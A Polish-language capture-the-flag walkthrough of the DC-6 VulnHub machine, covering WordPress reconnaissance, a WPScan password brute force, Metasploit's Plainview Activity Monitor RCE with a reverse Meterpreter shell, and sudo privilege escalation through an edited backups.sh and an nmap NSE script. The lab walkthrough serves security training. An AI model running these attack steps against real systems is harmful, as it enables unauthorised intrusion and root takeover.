DC-6 by DCAU

Write-up is in Polish language.

00. Metainfo

Nazwa: DC-6
Autor: DCAU
Wypuszczony: 2019-04-26
Do ściągnięcia: Vulnhub
Poziom: Łatwy
System: Linux
Nauczysz się: Wordpress, Gtfobins

obraz

01. Wstęp

DC-6 jak sama nazwa wskazuje jest szóstą maszyną z serii DC. Czemu wybrałem akurat ten numer, a nie zacząłem od pierwszego? Szukałem czegoś związanego z Wordpressem i akurat padło na to. Wirtualka ma już ponad dwa lata, od tego czasu Wordpress wyłapał coraz więcej podatności, ale dalej można na niej je testować, chociaż pewnie już podatne na włamania pluginy są albo usunięte, albo załatane.

01. 3..2..1.. start

Na samym wstępie autor prosi, żeby w DNS przypisać ip do nazwy hosta. W tym wypadku host wordy dodajemy do /etc/hosts.

/etc/hosts

... 172.16.1.214 wordy

Dzięki temu będziemy mogli się odwoływać bezpośrednio do wirtualki poprzez np. ping wordy, a nie przez ping 172.16.1.214. Bez tego wpisu w /etc/hosts może nie wszystko poprawnie działać.

02. Z czym mamy do czynienia?

Zobaczmy szybko na Metasploicie (chociaż niekoniecznie), czy są też tam jakieś inne usługi oprócz wspomnianego Wordpressa:

msf6 > db_nmap -p- wordy
[*] Nmap: Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-08 14:34 CEST
[*] Nmap: Nmap scan report for wordy (172.16.1.214)
[*] Nmap: Host is up (0.00025s latency).
[*] Nmap: Not shown: 65533 closed ports
[*] Nmap: PORT   STATE SERVICE
[*] Nmap: 22/tcp open  ssh
[*] Nmap: 80/tcp open  http
[*] Nmap: MAC Address: CE:DF:00:35:1F:EE (Unknown)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 2.41 seconds

Oprócz HTTP jest również SSH. Wszystko wskazuje na tradycyjną maszynę bez żadnych dziwnych portów. Jeżeli nie mielibyśmy dostępu do przeglądarki, możemy szybko sprawdzić przez Whatweb z czym mamy do czynienia:

# root@kali:/home/szikers# whatweb http://wordy
http://wordy [200 OK] Apache[2.4.25], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[172.16.1.214], JQuery[1.12.4], MetaGenerator[WordPress 5.1.1], PoweredBy[WordPress], Script[text/javascript], Title[Wordy – Just another WordPress site], UncommonHeaders[link], WordPress[5.1.1]

Wordpress w czystej postaci. Na dzisiaj (2021 rok) trochę przestarzała wersja, ale do testów w sam raz.

03. Wpscan

Wpscan, jak niejednokrotnie wspominałem jest najlepszym programem do skanowania podatności Worppressa. Teraz też się nim zajmiemy. Podatnych na włamania pluginów jest multum, ale to sprawdzimy potem. Na początek poszukajmy użytkowników przypisanych do Wordpressa. Jak radzi autor, żeby przyspieszyć wyszukiwanie, trzeba zmniejszyć słownik rockyou.txt.

# cat /usr/share/wordlists/rockyou.txt | grep k01 > pass_from_clue.txt
# root@kali:/home/szikers/dc-6# wpscan -P pass_from_clue.txt --url wordy
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.18
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://wordy/ [172.16.1.214]
[+] Started: Fri Oct  8 14:44:38 2021

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.25 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://wordy/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/

 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://wordy/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://wordy/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.1.1 identified (Insecure, released on 2019-03-13).
 | Found By: Rss Generator (Passive Detection)
 |  - http://wordy/index.php/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>
 |  - http://wordy/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>

[+] WordPress theme in use: twentyseventeen
 | Location: http://wordy/wp-content/themes/twentyseventeen/
 | Last Updated: 2021-07-22T00:00:00.000Z
 | Readme: http://wordy/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 2.8
 | Style URL: http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 2.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://wordy/wp-content/themes/twentyseventeen/style.css?ver=5.1.1, Match: 'Version: 2.1'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <============================================> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <=============================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://wordy/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] jens
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] graham
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] mark
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] sarah
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] Performing password attack on Xmlrpc against 5 user/s
[SUCCESS] - mark / helpdesk01
Trying graham / !lak019b Time: 00:09:05 <===================================================================================================                      > (12547 / 15215) 82.46%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: mark, Password: helpdesk01

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Fri Oct  8 14:53:50 2021
[+] Requests Done: 12702
[+] Cached Requests: 53
[+] Data Sent: 6.218 MB
[+] Data Received: 7.425 MB
[+] Memory used: 287.348 MB
[+] Elapsed time: 00:09:11

Po około (u mnie) dziewięciu minutach skanowania dostajemy informację, że mark ma hasło helpdesk01.

04. Podatny plugin

Logujemy się na http://wordy/wp-login.php i szukamy czegoś interesującego:

obraz

Widzimy plugin Activity monitor. Poszukajmy go na Metasploicie. A jeżeli jest, to ma podatność i możemy go uruchomić:

msf6 > search wp activity

Matching Modules
================

   #  Name                                                   Disclosure Date  Rank       Check  Description
   -  ----                                                   ---------------  ----       -----  -----------
   0  exploit/unix/webapp/wp_plainview_activity_monitor_rce  2018-08-26       excellent  Yes    Wordpress Plainview Activity Monitor RCE

msf6 > use exploit/unix/webapp/wp_plainview_activity_monitor_rce
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/wp_plainview_activity_monitor_rce) > set username mark
username => mark
msf6 exploit(unix/webapp/wp_plainview_activity_monitor_rce) > set password helpdesk01
password => helpdesk01
msf6 exploit(unix/webapp/wp_plainview_activity_monitor_rce) > set vhost wordy
vhost => wordy
msf6 exploit(unix/webapp/wp_plainview_activity_monitor_rce) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.16.1.10:4444
msf6 exploit(unix/webapp/wp_plainview_activity_monitor_rce) > [*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Could not identify the version number
[*] Trying to login...
[+] Login Successful
[*] Sending stage (39282 bytes) to 172.16.1.214
[*] Meterpreter session 1 opened (172.16.1.10:4444 -> 172.16.1.214:52946) at 2021-10-08 15:13:36 +0200

05. Co tam ciekawego na konsoli?

Jesteśmy już na koncie, a teraz możemy sprawdzić plik /var/www/html/wp-config.php. Tam zazwyczaj jest odkryte hasło, login i nazwa bazy, ale w tym wypadku niestety to się nie przyda. Natomiast z pliku /etc/passwd się dowiadujemy, że na systemie są konta użytkowników: graham, mark, sarah, jens. Hasło marka z Wordpressa nie pasuje do Shella. Ale czy możemy wejść na konta innych użytkowników i zobaczyć co oni tam mają? Dalej będę opisywał jak przechodząc przez kolejnych userów pniemy się coraz wyżej, aż do roota.

graham

# www-data@dc-6:/$ cd /home/mark/stuff
# cd /home/mark/stuff
www-data@dc-6:/home/mark/stuff$ ls
# ls
things-to-do.txt
# www-data@dc-6:/home/mark/stuff$ cat things-to-do.txt
# cat things-to-do.txt
Things to do:

- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement
www-data@dc-6:/home/mark/stuff$

W notatce jest zapisane hasło grahama GSo7isUM1D4.

# su graham
Password: GSo7isUM1D4
# graham@dc-6:/home/mark/stuff$ sudo -l
# sudo -l
Matching Defaults entries for graham on dc-6:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User graham may run the following commands on dc-6:
    (jens) NOPASSWD: /home/jens/backups.sh

Widzimy, że graham może uruchomić komendę /home/jens/backups.sh z konta jens. Wyjdźmy z Metasploita i się zalogujmy przez SSH, żeby można było włączyć edytor Nano. Zedytujmy plik /home/jens/backups.sh, żeby wyglądał mniej więcej tak:

# graham@dc-6:~$ nano /home/jens/backups.sh

/home/jens/backups.sh

/home/jens/backups.sh #!/bin/bash #tar -czf backups.tar.gz /var/www/html /bin/bash

Teraz możemy wejść na konto jens:

# graham@dc-6:~$ sudo -u jens /home/jens/backups.sh

jens

# jens@dc-6:/home/graham$ id
uid=1004(jens) gid=1004(jens) groups=1004(jens),1005(devs)

Zobaczmy co jest w Sudo:

# jens@dc-6:~$ sudo -l
Matching Defaults entries for jens on dc-6:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jens may run the following commands on dc-6:
    (root) NOPASSWD: /usr/bin/nmap

Widzimy, że program Nmap ma dostęp do roota. Żeby wykorzystać ten program, aby przejąć te konto, skorzystajmy ze strony gtfobins i znajdźmy tam informację o Nmapie. Poniżej jest przykład użycia:

# jens@dc-6:~$ echo "os.execute('/bin/sh')">/tmp/root.nse
# jens@dc-6:~$ sudo nmap --script=/tmp/root.nse
Starting Nmap 7.40 ( https://nmap.org ) at 2021-10-09 01:40 AEST
# uid=0(root) gid=0(root) groups=0(root)
#

root

# id
# uid=0(root) gid=0(root) groups=0(root)
#

Niestety nie widać tu kursora, ale to nie przeszkadza, żeby wydawać komendy:

06. I to na dziś wszystko

Jeżeli podobał się wpis, znalazłeś jakiś błąd napisz mejla na kerszi@protonmail.com.

Zostaw komentarz